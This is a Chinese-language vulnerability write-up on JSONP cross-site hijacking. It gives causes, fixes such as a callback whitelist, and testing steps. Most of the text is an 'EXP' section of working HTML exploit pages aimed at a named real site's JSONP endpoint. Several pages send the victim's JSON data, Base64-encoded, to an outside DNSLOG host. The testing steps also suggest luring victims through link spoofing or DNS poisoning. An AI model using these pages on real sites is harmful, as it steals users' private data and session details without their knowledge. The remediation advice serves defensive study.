漏洞名称:
JSONP跨站劫持漏洞
漏洞级别:
中危
漏洞描述:
允许恶意站点通过<script>标签加载受害站点的JSONP接口,从而劫持用户凭证或进行其他攻击。
漏洞成因:
1.JSONP接口在响应中会包含用户凭证或敏感信息。
2.JSONP接口允许通过<script>标签的src属性从任意域加载响应。
3.恶意站点可以在自己的页面中加载受害站点的JSONP接口,劫持其响应内容。
漏洞危害:
1.窃取用户凭证,实现身份劫持与登录。
2.读取或操作用户私密数据。
3.欺骗用户访问恶意站点或下载恶意代码。
4.利用受害站点的域名和信任度发起进一步攻击。
修复建议:
1.严格定义HTTP响应中的Content-Type为json数据格式 Content-Type: application/json;charset=UTF-8。
2.建立callback函数白名单,如果传入的callback参数值不在白名单内,跳转到统一的异常界面阻止其继续输出。
3.对callback参数和json数据输出进行HTML实体编码来过滤掉“<”、“>”等字符。
参考代码:
// 修复方法1:指定白名单允许的回调函数名称
var allowedCallbacks = ['cb1', 'cb2'];
function callback(data) {
if (allowedCallbacks.indexOf(callbackName) > -1) {
// 处理请求
} else {
// 回调名称不在白名单中,拒绝回调
}
}
// 修复方法2:在输出数据前校验回调函数名称的有效性
function callback(data) {
var regex = /^[a-z_$][a-z0-9_$]*$/i;
if (regex.test(callbackName)) {
// 回调名称符合规范,处理请求
} else {
// 回调名称不符合规范,拒绝回调
}
}
测试过程:
JSONP跨站劫持漏洞的测试过程如下:
1.查找目标网站是否使用JSONP接口。可以通过查看响应头中是否包含"Content-Type: application/javascript"等信息判断。
2.分析JSONP接口和回调函数参数。常见的JSONP回调函数参数有:callback、cb、jsonp、jsonpCallback等。需要确定目标网站使用的具体参数名称。
3.构造跨站URL以劫持JSONP响应。URL格式通常为:
https://vulnerable_website/jsonp_endpoint?callback=attacker_controlled_callback
其中attacker_controlled_callback是攻击者控制的JavaScript函数名称。
4.在自己控制的网站上设置一个attacker_controlled_callback 数,用于接收劫持的JSONP响应。
5.诱导目标用户访问构造的跨站URL。常见的诱导手段有:链接欺骗、DNS污染等。
6.当目标用户访问跨站URL时,请求会发送到vulnerable_website,该网站会返回一个JSONP响应,响应中会调用attacker_controlled_callback函数并传入数据作为参数。
7.attacker_controlled_callback函数在攻击者的网站上执行,从而接收到目标网站传回的JSONP数据,达到跨站劫持的目的。
8.分析劫持的数据,可能包含用户隐私、会话信息等敏感内容。
所以,JSONP 跨站劫持漏洞的测试关键在于确认目标网站使用 JSONP 接口,构造跨站 URL 以劫持响应,并在自己的网站上设置回调函数来接收数据。成功利用该漏洞可以获取目标网站敏感数据。
JSONP EXP
方法一:JavaScript调用
弹窗代码(弹窗JSON数据):
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body>
<script>
function jsoncallback(json){
//new Image().src="http://jsonp.reiwgah.exeye.io/" + JSON.stringify(json)
alert(JSON.stringify(json))
}
</script>
<script src="http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback"></script>
</body>
</html>
获取JSON数据并且Base64编码发送到远程服务器的DNSLOG:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body>
<script>
function jsoncallback(json){
new Image().src="http://jsonp.reiwgah.exeye.io/" + JSON.stringify(json)
//alert(JSON.stringify(json))
}
</script>
<script src="http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback"></script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body>
<script>
function jsoncallback(json){
new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(JSON.stringify(json))))
//alert(JSON.stringify(json))
}
</script>
<script src="http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback"></script>
</body>
</html>
方法二:jQuery jsonp跨域请求
弹窗代码(弹窗JSON数据):
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body>
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
</script>
<script>
$(document).ready(function(){
$("#button").click(function(){
$.ajax({
url: "http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback",
type: "GET", //指定GET请求方法
dataType: "jsonp", //指定服务器返回的数据类型
jsonp: "callback", //指定参数名称
jsonpCallback: "jsoncallback",
//指定回调函数名称
success: function (data) {
var result = JSON.stringify(data);
//json对象转成字符串
$("#text").val(result);
}
})
})
})
</script>
<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />
<textarea id="text" style="width: 400px; height: 100px;"></textarea>
</body>
</html>
获取JSON数据并且Base64编码发送到远程服务器的DNSLOG:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body>
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
</script>
<script>
$(document).ready(function(){
$("#button").click(function(){
$.ajax({
url: "http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback",
type: "GET", //指定GET请求方法
dataType: "jsonp", //指定服务器返回的数据类型
jsonp: "callback", //指定参数名称
jsonpCallback: "jsoncallback",
//指定回调函数名称
success: function (data) {
new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(JSON.stringify(data))))
//var result = JSON.stringify(data);
//json对象转成字符串
//$("#text").val(result);
}
})
})
})
</script>
<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />
<textarea id="text" style="width: 400px; height: 100px;"></textarea>
</body>
</html>
两者同时操作:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body>
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
</script>
<script>
$(document).ready(function(){
$("#button").click(function(){
$.ajax({
url: "http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback",
type: "GET", //指定GET请求方法
dataType: "jsonp", //指定服务器返回的数据类型
jsonp: "callback", //指定参数名称
jsonpCallback: "jsoncallback",
//指定回调函数名称
success: function (data) {
var result = JSON.stringify(data);
//json对象转成字符串
$("#text").val(result);
new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(result)))
}
})
})
})
</script>
<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />
<textarea id="text" style="width: 400px; height: 100px;"></textarea>
</body>
</html>
方法三:jQuery JacaScript调用
弹窗代码(弹窗JSON数据):
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body>
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
</script>
<script>
//回调函数
function jsoncallback (result) {
var data = JSON.stringify(result); //json对象转成字符串
$("#text").val(data);
}
$(document).ready(function () {
$("#button").click(function () {
//向头部输入一个脚本,该脚本发起一个跨域请求
$("head").append("<script src='http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback'><\/script>");
});
});
</script>
<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />
<textarea id="text" style="width: 400px; height: 100px;"></textarea>
</body>
</html>
获取JSON数据并且Base64编码发送到远程服务器的DNSLOG:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body>
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
</script>
<script>
//回调函数
function jsoncallback (result) {
new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(JSON.stringify(result))))
//var data = JSON.stringify(result); //json对象转成字符串
//$("#text").val(data);
}
$(document).ready(function () {
$("#button").click(function () {
//向头部输入一个脚本,该脚本发起一个跨域请求
$("head").append("<script src='http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback'><\/script>");
});
});
</script>
<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />
<textarea id="text" style="width: 400px; height: 100px;"></textarea>
</body>
</html>
两者同时操作:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body>
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
</script>
<script>
//回调函数
function jsoncallback (result) {
var data = JSON.stringify(result); //json对象转成字符串
$("#text").val(data);
new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(data)))
}
$(document).ready(function () {
$("#button").click(function () {
//向头部输入一个脚本,该脚本发起一个跨域请求
$("head").append("<script src='http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback'><\/script>");
});
});
</script>
<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />
<textarea id="text" style="width: 400px; height: 100px;"></textarea>
</body>
</html>